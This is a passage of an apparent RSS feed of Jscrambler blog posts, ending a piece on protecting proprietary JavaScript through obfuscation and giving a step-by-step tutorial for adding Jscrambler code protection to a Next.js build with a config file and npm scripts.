&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--7jwJmxNl--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/10/code.png" alt="proprietary code" width="880" height="445"&gt;&lt;/center&gt;

&lt;p&gt;Now, if this were a proprietary algorithm, naturally, we would not want to leave that code exposed to our competitors. Simply by analyzing this code, they could potentially replicate the algorithm altogether. So, our first step would be to &lt;strong&gt;conceal all this logic with JavaScript obfuscation&lt;/strong&gt;, taking advantage of Jscrambler’s several transformations.&lt;/p&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GGUUwnmy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/10/control-flow-flattening.png" alt="control flow flattening" width="880" height="540"&gt;&lt;/center&gt;

&lt;p&gt;In the code snippet above, we can see the results of using Jscrambler’s &lt;a href="https://blog.jscrambler.com/jscrambler-101-control-flow-flattening/"&gt;Control Flow Flattening&lt;/a&gt; transformation. It flattens the flow of the program by removing the natural conditional constructs that make the code easier to read. As a result of this single transformation, the code is already extremely hard to understand and reverse-engineer.&lt;/p&gt;

&lt;p&gt;However, applying a single transformation would not be enough to fully protect the code from competitors’ eyes. Specifically, the Control Flow Flattening transformation used above doesn’t change any of the names, numbers, or strings that are used in the original algorithm, as we can see below.&lt;/p&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--l4ikNC7W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/10/jscrambler-blog-functions3.png" alt="functions concealed" width="880" height="463"&gt;&lt;/center&gt;

&lt;p&gt;As such, with Jscrambler we can &lt;strong&gt;combine several different transformations&lt;/strong&gt;, including string concealing and variable masking, to completely conceal all the logic of the source code and prevent competitors from being able to retrieve any useful information.&lt;/p&gt;

&lt;p&gt;Continuing the previous example, after adding &lt;strong&gt;11 different obfuscation transformations&lt;/strong&gt; from Jscrambler, we get completely unreadable code that is extremely difficult to reverse-engineer, both by humans and reverse-engineering tools.&lt;/p&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VKktVk_B--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/10/jscrambler-blog-transformations4.png" alt="code transformations" width="880" height="753"&gt;&lt;/center&gt;

&lt;p&gt;But if you’re truly motivated about protecting your intellectual property and keeping your algorithms safe from prying eyes, you would still want to raise the bar even higher to &lt;strong&gt;stop reverse engineering attempts&lt;/strong&gt;. By employing Jscrambler’s &lt;strong&gt;Self-Defending&lt;/strong&gt; feature, your protected code will effectively mitigate any debugging or tampering attempt by triggering &lt;a href="https://blog.jscrambler.com/jscrambler-101-countermeasures/"&gt;countermeasures&lt;/a&gt; at runtime, preventing dynamic code analysis. And since this is added on top of the potent obfuscation we saw before, it will also prevent static code analysis, leaving competitors completely locked out.&lt;/p&gt;

&lt;p&gt;Finally, in case you’re only concerned about protecting specific algorithms throughout your source code, you can easily apply Jscrambler’s protection to these specific parts by using our &lt;a href="https://blog.jscrambler.com/jscrambler-101-code-annotations/"&gt;Code Annotations&lt;/a&gt; feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;As businesses become more digital, and as the competition grows, the need to stand out is often translated into innovative digital products. Naturally with innovation, and digital innovation specifically, we see Intellectual Property theft becoming more prevalent. &lt;/p&gt;

&lt;p&gt;With that, come the consequences IP Theft brings to businesses, which shine a light on the fact that the cost of preventing it from ever unfolding is nowhere near the cost of trying to pick up the pieces afterwards. &lt;/p&gt;

&lt;p&gt;So, to protect their innovative proprietary algorithms, companies must protect their source code with strong obfuscation transformations, code locks, and runtime protection. Jscrambler provides cutting-edge protection that, unlike simple obfuscation tools, is resilient to reverse-engineering both by humans and reverse engineering tools, ensuring that the code is kept away from prying eyes and can’t be redistributed.&lt;/p&gt;

&lt;p&gt;Secure your JavaScript source code against theft and reverse-engineering, with a &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=intellectual-property-theft"&gt;Jscrambler trial&lt;/a&gt; for free.&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
    </item>
    <item>
      <title>How To Protect Next.js Apps with Jscrambler</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Fri, 12 Nov 2021 16:52:55 +0000</pubDate>
      <link>https://forem.com/jscrambler/how-to-protect-nextjs-apps-with-jscrambler-6ih</link>
      <guid>https://forem.com/jscrambler/how-to-protect-nextjs-apps-with-jscrambler-6ih</guid>
      <description>&lt;p&gt;Next.js is an open-source React-based framework built on top of Node.js that is aimed at developing web apps. It includes handy features such as hybrid static &amp;amp; server rendering, TypeScript support, smart bundling, and route pre-fetching.&lt;/p&gt;

&lt;p&gt;In the 2020 &lt;a href="https://2020.stateofjs.com/en-US/technologies/back-end-frameworks/"&gt;State of JavaScript&lt;/a&gt; survey, Next.js was the second most used back-end framework (behind Express) but claimed the top spot when it came to satisfaction, with 92% of its users stating they are satisfied with the framework.&lt;/p&gt;

&lt;p&gt;In this article, we’ll look at how you can integrate &lt;a href="https://jscrambler.com/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=next-js"&gt;Jscrambler&lt;/a&gt; into your Next.js app development workflow. This will enable you to protect your JavaScript source code, through a combination of advanced obfuscation, code locks, anti-tampering, and anti-debugging.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pre-Requisites
&lt;/h2&gt;

&lt;p&gt;In order to properly integrate Jscrambler into your Next.js build process, there are two things we need to do first: &lt;strong&gt;creating a Next.js app&lt;/strong&gt; and &lt;strong&gt;configuring Jscrambler&lt;/strong&gt;. Let's go through those steps.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating Your Next.js Application
&lt;/h3&gt;

&lt;p&gt;If you are not very experienced with Next.js yet, feel free to check their "&lt;a href="https://nextjs.org/learn/basics/create-nextjs-app"&gt;Create a Next.js App&lt;/a&gt;” tutorial before moving forward. We will actually be using this example app in our integration tutorial, so let’s install it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/JscramblerBlog/nextjs-jscrambler-integration-tutorial.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, let's install all app dependencies using npm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;nextjs-jscrambler-integration-tutorial
npm i
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The (simplified) base project structure of our &lt;em&gt;Next.js&lt;/em&gt; application is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nextjs-jscrambler-integration-tutorial/
|-- package-lock.json
|-- package.json
|-- README.md
|-- .next
| |-- static/
| | |-- chunks/
| | | |-- pages/
|-- node_modules/
|-- pages/
|-- public/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;package.json&lt;/code&gt; contains all the configurations which are related to npm such as dependencies, version, and scripts.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code&gt;pages&lt;/code&gt; directory features all the source code of the application. The sources are then built and packed into the &lt;code&gt;.next/static/&lt;/code&gt; directory. This is where our protected HTML and JavaScript files will be placed after the build.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code&gt;public&lt;/code&gt; directory contains all publicly accessible files, such as images.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can easily run a development server just to make sure that the app is running properly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You will get an URL in the console with the development server and, after opening it, you should see the app running as shown below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--B5MuUcpR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/09/jscrambler-blog-initial-next-js.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--B5MuUcpR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/09/jscrambler-blog-initial-next-js.png" alt="jscrambler-blog-initial-next-js" width="880" height="495"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And this is pretty much it in terms of our Next.js app. Let's move forward to protecting it with Jscrambler.&lt;/p&gt;

&lt;h3&gt;
  
  
  Configuring Jscrambler
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;If you haven't created a &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=next-js"&gt;Jscrambler account&lt;/a&gt; yet, be sure to do so before moving forward.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;All of Jscrambler's configuration will reside inside a single file: &lt;code&gt;.jscramblerrc&lt;/code&gt;. As such, we will need to create this file to specify which transformations we wish to use.&lt;/p&gt;

&lt;p&gt;The quickest way to achieve this is via the &lt;a href="https://app.jscrambler.com/dashboard?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=next-js"&gt;Jscrambler Web App&lt;/a&gt;. Once there, create a new app. Now, check the &lt;em&gt;Templates&lt;/em&gt; and &lt;em&gt;Fine-Tuning&lt;/em&gt; tabs to select the template or transformations you want to use to protect your code. In this tutorial, we'll be selecting the &lt;em&gt;Obfuscation&lt;/em&gt; template. If you need help with these steps, please refer to our &lt;a href="https://blog.jscrambler.com/jscrambler-101-how-to-use-the-cli/"&gt;guide&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now, we simply have to download a &lt;strong&gt;JSON file with all this configuration&lt;/strong&gt;, which will be used only for quickly getting the required settings.&lt;/p&gt;


&lt;center&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dyVqwibD--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://blog.jscrambler.com/content/images/2021/02/jscrambler-app-download-JSON-4.gif" alt="Download Jscrambler JSON" width="287" height="358"&gt;&lt;/center&gt;

&lt;p&gt;Now, let's create a new file named &lt;code&gt;.jscramblerrc&lt;/code&gt; on the Next.js project’s root folder. Open the &lt;code&gt;jscrambler.json&lt;/code&gt; file we just downloaded and copy all its contents to the &lt;code&gt;.jscramblerrc&lt;/code&gt; file. After that, we just have to add two new sections to &lt;code&gt;.jscramblerrc&lt;/code&gt;, which are &lt;code&gt;filesSrc&lt;/code&gt; and &lt;code&gt;filesDest&lt;/code&gt; (see below). Your final &lt;code&gt;.jscramblerrc&lt;/code&gt; file should look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"keys"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"accessKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;ACCESS_KEY_HERE&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="nl"&gt;"secretKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;SECRET_KEY_HERE&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"applicationId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;APP_ID_HERE&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"filesSrc"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="s2"&gt;"./.next/**/*.html"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
   &lt;/span&gt;&lt;span class="s2"&gt;"./.next/**/*.js"&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"filesDest"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"./"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"params"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"objectPropertiesSparsing"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"variableMasking"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"whitespaceRemoval"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"identifiersRenaming"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"options"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SAFEST"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"globalVariableIndirection"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dotToBracketNotation"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"stringConcealing"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"functionReordering"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"options"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"freq"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"features"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"opaqueFunctions"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"functionOutlining"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"propertyKeysObfuscation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"options"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"encoding"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
          &lt;/span&gt;&lt;span class="s2"&gt;"hexadecimal"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"regexObfuscation"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"booleanToAnything"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"areSubscribersOrdered"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"useRecommendedOrder"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"jscramblerVersion"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;7.X&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tolerateMinification"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"profilingDataMode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"off"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"useAppClassification"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"browsers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because we got this information directly via the Jscrambler Web App, our &lt;code&gt;accessKey&lt;/code&gt;, &lt;code&gt;secretKey&lt;/code&gt; and &lt;code&gt;applicationId&lt;/code&gt; fields are already filled. If you wish to retrieve them manually, refer to our &lt;a href="https://blog.jscrambler.com/jscrambler-101-first-use/"&gt;guide&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It's important to note that the &lt;code&gt;params&lt;/code&gt; section specifies the transformations that will be used to protect your Next.js app. &lt;strong&gt;These can be hand-picked by you&lt;/strong&gt;, by selecting them in the Web App or setting them manually. You can find documentation on all the available transformations &lt;a href="https://docs.jscrambler.com/code-integrity/documentation/transformations?utm_source=blog.jscrambler.com&amp;amp;utm_medium=referral&amp;amp;utm_campaign=protect-nextjs"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You can also change &lt;code&gt;filesSrc&lt;/code&gt; to match the files you need/want to protect. For our example—and all Next.js apps—we recommend protecting the &lt;code&gt;.html&lt;/code&gt; and &lt;code&gt;.js&lt;/code&gt; files. Certainly, with a better understanding of the project, you may identify what’s critical and essential protecting.&lt;/p&gt;

&lt;p&gt;By using &lt;code&gt;filesDest: './'&lt;/code&gt;, the files we send to protect will be overwritten by their protected version.&lt;/p&gt;

&lt;h2&gt;
  
  
  Integrating Jscrambler in the Build Process
&lt;/h2&gt;

&lt;p&gt;Using the CLI is likely the most common way of generating your build. We will use our boilerplate app to showcase how to integrate Jscrambler into the build process.&lt;/p&gt;

&lt;p&gt;The first step of our integration with &lt;em&gt;Jscrambler&lt;/em&gt; is installing the &lt;a href="https://github.com/jscrambler/jscrambler/tree/master/packages/jscrambler-cli"&gt;Jscrambler API Client&lt;/a&gt;. Simply run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm i jscrambler --save-dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To integrate Jscrambler in our application's build process via the CLI, we need to create a CLI hook in the &lt;em&gt;scripts&lt;/em&gt; section of &lt;code&gt;package.json&lt;/code&gt;. The section should look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  "scripts": {
    "dev": "next dev",
    "build": "next build &amp;amp;&amp;amp; jscrambler",
    "start": "next start"
  },
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The specific &lt;code&gt;"build": "next build &amp;amp;&amp;amp; jscrambler"&lt;/code&gt; hook will trigger the &lt;code&gt;jscrambler&lt;/code&gt; command after the build process is finished.&lt;/p&gt;

&lt;p&gt;In order for this command to be executable, &lt;strong&gt;we need to make sure that the &lt;code&gt;.jscramblerrc&lt;/code&gt; file that we created before is in our project's root folder&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We are now ready to protect our code and build our application via the CLI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run build
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will create the protected production files on &lt;code&gt;.next/static/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;And you're done! Now all your HTML and JavaScript files are protected with Jscrambler against code theft and reverse-engineering. Remember that you can always fine-tune your protections to manage eventual performance hits. If that's the case, be sure to follow our tutorials on &lt;a href="https://blog.jscrambler.com/jscrambler-101-code-annotations/"&gt;Code Annotations&lt;/a&gt; and &lt;a href="https://blog.jscrambler.com/jscrambler-101-profiling/"&gt;Profiling&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Testing the Protected Next.js App
&lt;/h2&gt;

&lt;p&gt;As a final step, let's check if the app is running successfully with the newly protected source code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm run start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the URL provided in the console and it will open up a server with the production files.&lt;/p&gt;

&lt;p&gt;Now, you can check what your protected code looks like. This can be achieved simply by opening the browser's debugger and opening the files from the "Sources" tab. The protected code should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hEhjQka4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/09/jscrambler-blog-protected-nextjs-code.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hEhjQka4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://blog.jscrambler.com/content/images/2021/09/jscrambler-blog-protected-nextjs-code.png" alt="jscrambler-blog-protected-nextjs-code" width="880" height="495"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

